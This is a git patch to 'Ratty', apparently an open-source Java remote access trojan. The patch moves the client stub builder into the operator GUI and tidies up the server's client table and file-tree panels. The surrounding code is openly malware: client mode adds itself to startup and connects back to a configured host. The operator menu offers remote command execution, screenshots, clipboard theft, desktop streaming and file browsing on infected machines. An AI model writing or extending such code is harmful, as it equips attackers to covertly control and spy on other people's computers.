From 9a91b9ca995aa264715c852e13d5ca8c6e2f9b75 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sat, 6 Feb 2016 18:37:06 +0100 Subject: [PATCH] Major changes Cleanups Integrated the builder into the GUI --- Ratty/res/connection_data.txt | 4 +-- Ratty/src/de/sogomn/rat/Ratty.java | 24 ++++------------- .../de/sogomn/rat/builder/StubBuilder.java | 5 ++-- .../sogomn/rat/server/gui/DisplayPanel.java | 1 - .../sogomn/rat/server/gui/FileTreePanel.java | 3 +-- .../de/sogomn/rat/server/gui/RattyGui.java | 26 ++++++++++++++----- .../rat/server/gui/RattyGuiController.java | 12 ++++++--- .../server/gui/ServerClientTableModel.java | 15 ++++------- 8 files changed, 44 insertions(+), 46 deletions(-) diff --git a/Ratty/res/connection_data.txt b/Ratty/res/connection_data.txt index 65bfdf8..8bc06c5 100644 --- a/Ratty/res/connection_data.txt +++ b/Ratty/res/connection_data.txt @@ -1,9 +1,7 @@ localhost 23456 false -false 1 - Host 2 - Port -3 - Client? -4 - Builder? \ No newline at end of file +3 - Client? \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 2f97b32..c3f5056 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -10,7 +10,6 @@ import javax.swing.JOptionPane; import com.alee.laf.WebLookAndFeel; import de.sogomn.engine.util.FileUtils; -import de.sogomn.rat.builder.StubBuilder; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.gui.RattyGui; import de.sogomn.rat.server.gui.RattyGuiController; @@ -21,7 +20,6 @@ public final class Ratty { private static String address; private static int port; private static boolean client; - private static boolean builder; private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?"; @@ -46,12 +44,10 @@ public final class Ratty { final String addressString = lines[0].trim(); final String portString = lines[1].trim(); final String clientString = lines[2].trim(); - final String builderString = lines[3].trim(); address = addressString; port = Integer.parseInt(portString); client = Boolean.parseBoolean(clientString); - builder = Boolean.parseBoolean(builderString); } } @@ -115,7 +111,11 @@ public final class Ratty { server.start(); } - public static void start() { + public static void main(final String[] args) { + WebLookAndFeel.install(); + + readConnectionData(); + if (client) { addToStartup(); connectToHost(address, port); @@ -130,18 +130,4 @@ public final class Ratty { } } - public static void main(final String[] args) { - WebLookAndFeel.install(); - - readConnectionData(); - - if (builder) { - StubBuilder.start(); - - System.exit(0); - } else { - start(); - } - } - } diff --git a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java index 3cb68d1..3198890 100644 --- a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java +++ b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java @@ -31,7 +31,8 @@ public final class StubBuilder { private static File getFileInput(final boolean open) { final JFileChooser fileChooser = new JFileChooser(); - final File currentDirectory = new File("."); + final String currentDirectoryPath = System.getProperty("user.dir"); + final File currentDirectory = new File(currentDirectoryPath); fileChooser.setCurrentDirectory(currentDirectory); @@ -80,7 +81,7 @@ public final class StubBuilder { return; } - final String fileContent = address + "\r\n" + port + "\r\ntrue\r\nfalse"; + final String fileContent = address + "\r\n" + port + "\r\ntrue"; final byte[] data = fileContent.getBytes(); final ByteArrayInputStream in = new ByteArrayInputStream(data); final Path jarFilePath = jarFile.toPath(); diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java index cf55f3b..f23cd3e 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java @@ -15,7 +15,6 @@ public final class DisplayPanel { private BufferedImage image; private int lastKeyHit; - private IGuiController controller; private static final int SCREEN_WIDTH = 1920 / 2; diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java index 0e60fe3..9c748b2 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -31,11 +31,11 @@ public final class FileTreePanel { private DefaultMutableTreeNode root; private JTree tree; private DefaultTreeModel treeModel; - private DefaultMutableTreeNode lastNodeClicked; private JScrollPane scrollPane; private JPopupMenu menu; + private DefaultMutableTreeNode lastNodeClicked; private IGuiController controller; private static final String ROOT_NAME = "Drives"; @@ -102,7 +102,6 @@ public final class FileTreePanel { dialog.setContentPane(scrollPane); dialog.pack(); dialog.setLocationByPlatform(true); - dialog.setIconImages(RattyGui.GUI_ICONS); } private void addMenuItem(final String name, final Icon icon) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 0be25f6..f5cf36c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -1,5 +1,7 @@ package de.sogomn.rat.server.gui; +import java.awt.BorderLayout; +import java.awt.Container; import java.awt.Dimension; import java.awt.Point; import java.awt.event.ActionEvent; @@ -10,7 +12,9 @@ import java.util.ArrayList; import javax.swing.Icon; import javax.swing.ImageIcon; +import javax.swing.JButton; import javax.swing.JFrame; +import javax.swing.JMenuBar; import javax.swing.JMenuItem; import javax.swing.JPopupMenu; import javax.swing.JScrollPane; @@ -28,18 +32,19 @@ public final class RattyGui { private JScrollPane scrollPane; private JPopupMenu menu; + private JMenuBar menuBar; + private JButton build; private ServerClient lastServerClientClicked; private IGuiController controller; - private static final Dimension SIZE = new Dimension(800, 400); + private static final Dimension SIZE = new Dimension(800, 600); private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png"); private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128); private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 32, 32).getSprites(); - - public static final ArrayList GUI_ICONS = new ArrayList(3); + private static final ArrayList GUI_ICONS = new ArrayList(3); public static final String POPUP = "Open popup"; public static final String SCREENSHOT = "Take screenshot"; @@ -49,6 +54,7 @@ public final class RattyGui { public static final String COMMAND = "Execute command"; public static final String CLIPBOARD = "Get clipboard content"; public static final String FREE = "Free client"; + public static final String BUILD = "Client builder"; public static final String[] COMMANDS = { POPUP, @@ -73,6 +79,8 @@ public final class RattyGui { tableModel = new ServerClientTableModel(); scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); menu = new JPopupMenu(); + menuBar = new JMenuBar(); + build = new JButton(BUILD); for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) { final String command = COMMANDS[i]; @@ -81,6 +89,7 @@ public final class RattyGui { addMenuItem(command, icon); } + final Container container = frame.getContentPane(); final MouseAdapter mouseAdapter = new MouseAdapter() { @Override public void mousePressed(final MouseEvent m) { @@ -91,13 +100,18 @@ public final class RattyGui { } }; + build.setActionCommand(BUILD); + build.addActionListener(this::actionPerformed); + menuBar.add(build); scrollPane.setBorder(null); table.setComponentPopupMenu(menu); table.addMouseListener(mouseAdapter); table.setModel(tableModel); + container.add(scrollPane, BorderLayout.CENTER); + container.add(menuBar, BorderLayout.SOUTH); + frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); - frame.setContentPane(scrollPane); frame.setPreferredSize(SIZE); frame.pack(); frame.setLocationByPlatform(true); @@ -110,13 +124,13 @@ public final class RattyGui { final JMenuItem item = new JMenuItem(name); item.setActionCommand(name); - item.addActionListener(this::menuItemClicked); + item.addActionListener(this::actionPerformed); item.setIcon(icon); menu.add(item); } - private void menuItemClicked(final ActionEvent a) { + private void actionPerformed(final ActionEvent a) { if (controller == null) { return; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index c25eada..03af584 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -9,6 +9,7 @@ import javax.swing.JOptionPane; import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; +import de.sogomn.rat.builder.StubBuilder; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CreateFolderPacket; @@ -248,10 +249,13 @@ public final class RattyGuiController implements IServerObserver, IClientObserve @Override public void userInput(final String command) { final ServerClient serverClient = gui.getLastServerClientClicked(); - final IPacket packet = getPacket(command, serverClient); - if (packet != null) { - serverClient.client.addPacket(packet); + if (serverClient != null) { + final IPacket packet = getPacket(command, serverClient); + + if (packet != null) { + serverClient.client.addPacket(packet); + } } if (command == RattyGui.DESKTOP) { @@ -264,6 +268,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final FileTreePanel treePanel = serverClient.getTreePanel(); treePanel.setVisible(true); + } else if (command == RattyGui.BUILD) { + StubBuilder.start(); } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java index f722b71..985eea8 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java @@ -9,9 +9,8 @@ final class ServerClientTableModel extends AbstractTableModel { private ArrayList serverClients; - private static final int COLUMN_COUNT = 6; + private static final int COLUMN_COUNT = 5; private static final String[] HEADERS = { - "ID", "Name", "IP address", "OS", @@ -44,8 +43,6 @@ final class ServerClientTableModel extends AbstractTableModel { case 3: return String.class; case 4: - return String.class; - case 5: return Boolean.class; default: return super.getColumnClass(columnIndex); @@ -67,16 +64,14 @@ final class ServerClientTableModel extends AbstractTableModel { switch (columnIndex) { case 0: - return serverClient.id; - case 1: return serverClient.getName(); - case 2: + case 1: return serverClient.client.getAddress(); - case 3: + case 2: return serverClient.getOs(); - case 4: + case 3: return serverClient.getVersion(); - case 5: + case 4: return serverClient.isStreamingDesktop(); default: return null;